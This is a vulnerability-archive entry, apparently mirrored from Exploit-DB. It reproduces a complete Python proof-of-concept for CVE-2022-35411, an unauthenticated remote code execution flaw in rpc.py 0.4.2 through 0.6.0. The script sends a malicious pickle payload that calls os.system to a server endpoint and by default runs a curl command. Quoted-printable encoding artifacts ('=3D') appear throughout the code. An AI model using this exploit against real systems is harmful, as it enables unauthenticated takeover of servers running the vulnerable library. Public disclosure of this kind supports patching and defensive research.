发布 2022-07-29 漏洞条目

rpc.py 0.6.0 – Remote Code Execution (RCE)

Exploit Source

# Exploit Title: rpc.py 0.6.0 - Remote Code Execution (RCE)

# Google Dork: N/A

# Date: 2022-07-12

# Exploit Author: Elias Hohl

# Vendor Homepage: https://github.com/abersheeran

# Software Link: https://github.com/abersheeran/rpc.py

# Version: v0.4.2 - v0.6.0

# Tested on: Debian 11, Ubuntu 20.04

# CVE : CVE-2022-35411

import requests

import pickle

# Unauthenticated RCE 0-day for https://github.com/abersheeran/rpc.py

HOST =3D "127.0.0.1:65432"

URL =3D f"http://{HOST}/sayhi"

HEADERS =3D {

"serializer": "pickle"

}

def generate_payload(cmd):

class PickleRce(object):

def __reduce__(self):

import os

return os.system, (cmd,)

payload =3D pickle.dumps(PickleRce())

print(payload)

return payload

def exec_command(cmd):

payload =3D generate_payload(cmd)

requests.post(url=3DURL, data=3Dpayload, headers=3DHEADERS)

def main():

exec_command('curl http://127.0.0.1:4321')

# exec_command('uname -a')

if __name__ =3D=3D "__main__":

main()

相关漏洞条目